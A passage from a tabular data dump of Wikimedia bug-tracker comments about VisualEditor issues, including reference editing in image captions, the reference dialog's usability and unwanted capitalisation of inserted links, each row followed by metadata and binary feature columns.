+https://gerrit.wikimedia.org/r/73896",,,1373929632,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xid2rg44chmbsuqujmzr,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+240605,VisualEditor: Clear annotations icon no longer clearing link annotations,*** Bug 51018 has been marked as a duplicate of this bug. ***,,,1373504485,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xid2rg44chmbsuqujmzr,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+240600,VisualEditor: Clear annotations icon no longer clearing link annotations,This is a regression; it used to work fine - relabelling as such.,,,1372611822,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xid2rg44chmbsuqujmzr,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+52459,VisualEditor: References in media captions appear but aren't editable or successfully insertable,"It is currently not possible to add a reference to an image/media caption, nor to edit existing ones.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52427
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49657",High,80.0,1372597320,1380835418.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-wwlsd2ozt42kgfcsmka4,task_description,resolved,True,c1,2,False,False,False,-1,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+240503,VisualEditor: References in media captions appear but aren't editable or successfully insertable,*** Bug 54949 has been marked as a duplicate of this bug. ***,,,1380844957,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wwlsd2ozt42kgfcsmka4,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+240497,VisualEditor: References in media captions appear but aren't editable or successfully insertable,This was completed as part of the NewFromDocumentReplace work that Roan did last week.,,,1380835418,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wwlsd2ozt42kgfcsmka4,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+240490,VisualEditor: References in media captions appear but aren't editable or successfully insertable,"Changing this to reflect that now references do appear in the toolbar for media items, but can't be inserted or edited (and the list of existing references to insert is blank - suggests something's pointed at the wrong document/etc.?).",,,1379657377,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wwlsd2ozt42kgfcsmka4,task_subcomment,,True,c1,3,True,,,11,,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,1,0,0,1,1,0,1,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1
+240481,VisualEditor: References in media captions appear but aren't editable or successfully insertable,"bug 51992 comment 0 :
+http://en.wikipedia.org/wiki/User:Kww/fileref is about as simple of a testcase
+as I could develop. Given this structure:
+
+[[File:Red Wine Glass.jpg|thumb|upright|A ""large"" (250&nbsp;ml) glass of
+12%&nbsp;ABV red wine has about three units of alcohol. A ""medium""
+(175&nbsp;ml) glass, such as the one shown, has about two units.<ref> Even
+though the sizes of wine glasses are defined in UK law, the terms ""large"",
+""medium"", ""standard"" etc are not defined in law.</ref>]]
+
+
+There's no way to edit the reference.
+
+----------------
+bug 51992 comment 1 :
+Simpler illustration, still in http://en.wikipedia.org/wiki/User:Kww/fileref
+
+I don't think it's possible to edit that pesky footnote.
+[[File:Red Wine Glass.jpg|thumb|upright|description<ref>pesky footnote</ref>]]
+
+{{reflist}}",,,1374702671,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-wwlsd2ozt42kgfcsmka4,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,1,1,0,0,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,1,0,1
+240476,VisualEditor: References in media captions appear but aren't editable or successfully insertable,*** Bug 51992 has been marked as a duplicate of this bug. ***,,,1374702531,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-wwlsd2ozt42kgfcsmka4,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+52458,"VisualEditor: Improvements to reference editing, including local wiki-specific workflows","Screenshot1
+
+There are, I think, some UI improvements to be made to the reference editor - User:Popcornduff gets credit for these :).
+
+When you first open the reference editor, you're presented with something like screenshot 1, which asks you ""What do you want to reference?"" If the user is coming to try and add a new reference, this is highly confusing - the first UI element they're presented with prompts them to put time into a series of actions that cannot possibly end with them finding what they want. The cue also doesn't make clear to any user what the search bar is actually doing - filtering existing references. It seems like the blurb here might need changing to align it with what the search bar actually does; ""search existing references on this page""?
+
+If you click ""create new source"", absolutely nothing happens - it's a highlightable element, and after a bit you can puzzle out that it unlocks ""create reference"", but it's not immediately clear. Still, you end up with it highlighted (see screenshot2). The blurb in ""insert reference"" is rather confusing; what am I inserting? I'm here to /add/ a new reference, I haven't written it out yet. My suggestion would be to have ""create new source"" take you straight to the source creation interface using a one-click mechanism, rather than having it free up ""insert no references"".
+
+Still, you click it, and you get to screenshot3, of a window tagged ""reference content"". Quoth the user, ""Is it reference the verb - am I referencing content here? Or am I giving content to the reference?
+
+What is the Options heading all about, and what does ""Use this group"" mean?
+
+I have a little window here to type into. I'm not sure what to type. Do I just write out my reference in Wikimarkup and click ""Apply changes""? Or do I write them out as if I'm writing a list of references at the end of an essay?
+
+At this point I'm really disappointed. I was hoping to be given a complete list of individual fields to fill out - a box for author, a box for date, a box for date accessed, a box for the title, a box for the URL, and so on - and have this generate the reference nicely for me. Instead, I seem to have the old system in a confusing UI.""
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51848
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53590
+
+**Attached**: {F11364}",High,80.0,1372596600,1401472375.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-b74srkob65ougmewgpvd,task_description,resolved,True,c1,2,False,False,False,-1,,1,1,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0
+240444,"VisualEditor: Improvements to reference editing, including local wiki-specific workflows",This was resolved with the new citation system released last month.,,,1401472375,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-b74srkob65ougmewgpvd,task_subcomment,,True,c1,3,True,,,47,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+240439,"VisualEditor: Improvements to reference editing, including local wiki-specific workflows",*** Bug 51184 has been marked as a duplicate of this bug. ***,,,1377831014,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-b74srkob65ougmewgpvd,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+240434,"VisualEditor: Improvements to reference editing, including local wiki-specific workflows","(In reply to comment #8)
+> The ""what do you want to reference?"" field, which exists solely to filter
+> through existing references, still displays if there are zero existing
+> references.
+
+This sounds like bug 51848",,,1377597887,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-b74srkob65ougmewgpvd,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,0,1,1,0,1,0,1,0,0,1,0,0,1
+240430,"VisualEditor: Improvements to reference editing, including local wiki-specific workflows","At en.wp user:Risker reports on feedback she received running an editathon. Relevant to this bug is:
+
+To a person, they all said that VE was *more* difficult to use than wikitext, especially with respect to references. Now, they had all had reinforced to them the importance of referencing factual information, so they were all trying to include references. They pointed out that at least with the wikitext editor, they could pull up templates that were complete and they didn't have to try to figure out the parameters. They were using mostly printed sources, not websites, so there was no URL to use as a quick-and-dirty reference insertion.",,,1377597769,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-b74srkob65ougmewgpvd,task_subcomment,,True,c1,3,False,,,8,,1,0,0,0,1,1,1,0,0,0,1,1,1,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,1,1,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0
+240424,"VisualEditor: Improvements to reference editing, including local wiki-specific workflows","Change 74191 merged by jenkins-bot:
+Reference dialog commingling
+
+https://gerrit.wikimedia.org/r/74191",,,1374183562,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-b74srkob65ougmewgpvd,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+240419,"VisualEditor: Improvements to reference editing, including local wiki-specific workflows","Change 74191 had a related patch set uploaded by Jforrester:
+Reference dialog commingling
+
+https://gerrit.wikimedia.org/r/74191",,,1374182072,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-b74srkob65ougmewgpvd,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+240413,"VisualEditor: Improvements to reference editing, including local wiki-specific workflows","The ""what do you want to reference?"" field, which exists solely to filter through existing references, still displays if there are zero existing references.",,,1372858754,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-b74srkob65ougmewgpvd,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,1,1,0,1,0,1,0,0,1,0,0,0
+240407,"VisualEditor: Improvements to reference editing, including local wiki-specific workflows","Yes, I think the ""wiki-specific workflows"" is key.  On wikis (including English Wikipedia) that use:
+
+<ref>{{some template|firstparam=a}}</ref>
+
+with a few key some templates, it's worth allowing a simplified flow for those (while still providing the full flexibility of arbitrary references and arbitrary templates where needed).
+
+Within a template, it's also verbose due to the screen layout.  E.g. I would consider keeping parameter name and value on the same screen (for named parameters), and making it easy to add the next parameter without going up to the root.  The latter can be done without the former.
+
+I'd recommend trying ProveIt (https://en.wikipedia.org/wiki/User:ProveIt_GT) on English Wikipedia if you haven't.  I don't expect you to take the same approach we did (and don't look at the ""parser"").  The reference browsing part also probably doesn't apply, but the add mode in particular shows how the GUI can be streamlined when it doesn't attempt to be fully general.",,,1372829687,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-b74srkob65ougmewgpvd,task_subcomment,,True,c1,3,True,,,0,,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+240402,"VisualEditor: Improvements to reference editing, including local wiki-specific workflows","Please don't roll this out to everyone until this is fixed, as until it is there is going to be a lot of cleanup work needed. I agree with those above who say this might mean less references. I quickly disabled it the first time I tried to create a new citation.",,,1372761439,,PHID-USER-wqo7db5tur74g52lu64y,False,,,PHID-TASK-b74srkob65ougmewgpvd,task_subcomment,,True,c1,3,False,,,0,,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,1,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0
+240398,"VisualEditor: Improvements to reference editing, including local wiki-specific workflows","**gwaw_2003** wrote:
+
+I'd have to agree with PamD above. If anything, just steal the RefToolbar code, and make it work with VE as a temporary fix for enwp. This cannot be rolled out to new editors the way it is, or we'll have a ton of ""well I hated how the references worked so I stopped trying to use them at all"" edits from new editors.",,,1372728086,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-b74srkob65ougmewgpvd,task_subcomment,,True,c1,3,False,,,0,,1,1,0,1,1,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,1,1,0,1,0,1,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+240395,"VisualEditor: Improvements to reference editing, including local wiki-specific workflows","Thanks for these comments; obviously the references system is a work in progress and we had already planned to undertake (at least most of) these improvements, but we hadn't had the time to write it down in bugzilla - will use this to track those improvements now.",,,1372691404,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-b74srkob65ougmewgpvd,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,1,0
+240392,"VisualEditor: Improvements to reference editing, including local wiki-specific workflows","Please look at how RefToolbar behaves (I choose whether my ref is a website, book, etc; I get offered a set of useful boxes into which to input the data; I click on ""Preview citation"" to see that it looks OK; I click on ""Add citation"". Job done.), and give this sort of useful guidance to editors adding references in VE.",,,1372691060,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-b74srkob65ougmewgpvd,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+240388,"VisualEditor: Improvements to reference editing, including local wiki-specific workflows","Screenshot3
+
+**Attached**: {F11366}",,,1372596695,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-b74srkob65ougmewgpvd,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+240381,"VisualEditor: Improvements to reference editing, including local wiki-specific workflows","Screenshot2
+
+**Attached**: {F11365}",,,1372596681,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-b74srkob65ougmewgpvd,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+52452,"VisualEditor: When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors","When adding a new link to an existing page, the text is automatically capitalized, even if the user entered the text in lowercase. Many links don't need to be capitalized, so users shouldn't have to clean up after VisualEditor decides to capitalize them.
+
+Note that when you're adding a new link to a page that doesn't exist, the inserted link preserves the capitalization that was entered by the user (which is the expected behavior)
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50945
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50678
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50745
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53566",High,80.0,1372587540,1378254877.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-3tkt5wwlr2pp4a6ayi3s,task_description,resolved,True,c1,2,False,False,True,-1,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,1,0,1,0,1,0,1,1,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+240158,"VisualEditor: When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors","The above changes behaviour if the user types in the entire anchor in a different case (e.g. iPhone vs. IPhone), which is I think sufficient to close this bug for now; different ways of suggesting links might want to come off the outcome of bug 53566. (It will be deployed to the cluster from Thursday 5 September, and to Wikipedias on Thursday 12 September).",,,1378254877,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3tkt5wwlr2pp4a6ayi3s,task_subcomment,,True,c1,3,True,,,9,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+240153,"VisualEditor: When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors","Change 82054 merged by jenkins-bot:
+Offer the typed text as a link suggestion if the page is valid
+
+https://gerrit.wikimedia.org/r/82054",,,1378254752,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3tkt5wwlr2pp4a6ayi3s,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+240146,"VisualEditor: When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors","Change 82054 had a related patch set uploaded by Esanders:
+Offer the typed text as a link suggestion if the page is valid
+
+https://gerrit.wikimedia.org/r/82054",,,1377900648,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3tkt5wwlr2pp4a6ayi3s,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+240139,"VisualEditor: When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors","(In reply to comment #9)
+> I think creating a bug for
+> MediaWiki having page-level meta-data about the correct display of a page's
+> title would be great, yes.
+
+Done, see bug 53566",,,1377811932,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-3tkt5wwlr2pp4a6ayi3s,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+240131,"VisualEditor: When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors","(In reply to comment #8)
+> Until that happens I think we should preserve the case of the input, as even
+> if that isn't what people want it is easily possible to change and pretty
+> intuitive how to do it - ie, type ""foo"" get ""[[foo]]"" but wanted ""[[Foo]]"",
+> all you need to do is type ""Foo"" instead. The current behaviour means you get
+> ""[[Foo]]"" regardless of what you want or do.
+
+Possible, but a bit messy when writing certain articles like BLPs where most link targets will be proper nouns.
+
+> The only other thing I can think of is for VE to read and respect things like
+> {{lowercase title}}. Once it does that then it should also respect things
+> like {{correct title}} for a default display text, and we should probably
+> create a {{Proper noun title}} for titles that should always be capitalised by
+> default.
+>
+> Or rather than using templates we could move the title information into page
+> metadata. I have no idea whether any of this is practical, but if it is I
+> guess it would be better as one or maybe two separate bugs.
+
+Yes, certainly for this to be used in VisualEditor it would need to be a proper feature and not one hacked into a template; I think creating a bug for MediaWiki having page-level meta-data about the correct display of a page's title would be great, yes.",,,1377808735,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3tkt5wwlr2pp4a6ayi3s,task_subcomment,,True,c1,3,True,,,8,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,1,0,1,0,1,1,1,0,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1
+240126,"VisualEditor: When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors","The best thing, as noted at 48789, is for there to be two input boxes - one for the link target and one for the displayed text. 
+Until that happens I think we should preserve the case of the input, as even if that isn't what people want it is easily possible to change and pretty intuitive how to do it - ie, type ""foo"" get ""[[foo]]"" but wanted ""[[Foo]]"", all you need to do is type ""Foo"" instead. The current behaviour means you get ""[[Foo]]"" regardless of what you want or do.
+
+When the second input box is added then we should use the case as input as the default. 
+
+The only other thing I can think of is for VE to read and respect things like {{lowercase title}}. Once it does that then it should also respect things like {{correct title}} for a default display text, and we should probably create a {{Proper noun title}} for titles that should always be capitalised by default. Or rather than using templates we could move the title information into page metadata. I have no idea whether any of this is practical, but if it is I guess it would be better as one or maybe two separate bugs.",,,1377804697,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-3tkt5wwlr2pp4a6ayi3s,task_subcomment,,True,c1,3,False,,,8,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,1,1,0,1,1,1,1,0,1,0,1,1,1,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1
+240122,"VisualEditor: When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors","Clarifying what this is in the title:
+
+| New link annotations' anchors get their first character capitalised, even if you didn't want that
+
+->
+
+| When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors
+
+The problem is in the link suggester (it's the same behaviour in category and template selection, except that those always capitalise the first character so no-one cares.
+
+When you trigger the link inspector on no selection and type in ""foo"", you are given suggestions like:
+
+* Foo
+* Foobar
+* Fooian
+
+Selecting any of these picks not just the target, but also the text of that target as the anchor (good) and the capitalisation of that target (less good).
+
+However, if I've typed ""foo"", did I definitely want [[foo]] rather than [[Foo]]? Should we show both [[Foo]] and [[foo]] options in the list if you type in ""foo"", but only [[Foo]] if you type in ""Foo""?",,,1377803059,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3tkt5wwlr2pp4a6ayi3s,task_subcomment,,True,c1,3,True,,,8,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+240117,"VisualEditor: When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors","From bug 53495:
+Currently whenever a user enters a link when no text is selected the first
+character of the displayed link is always capitalised. This is often incorrect,
+e.g. in the middle of a sentence or for articles like [[iPhone]] or [[grep]].
+
+Especially until bug 50678 is fixed, correcting this is not at easy or
+intuitive.
+
+So, at least until bug 48789 and bug 50945 are fixed and the display text is
+settable in the dialog, and probably beyond that, it would be best if the
+displayed link used the same case as the search term entered. i.e.
+
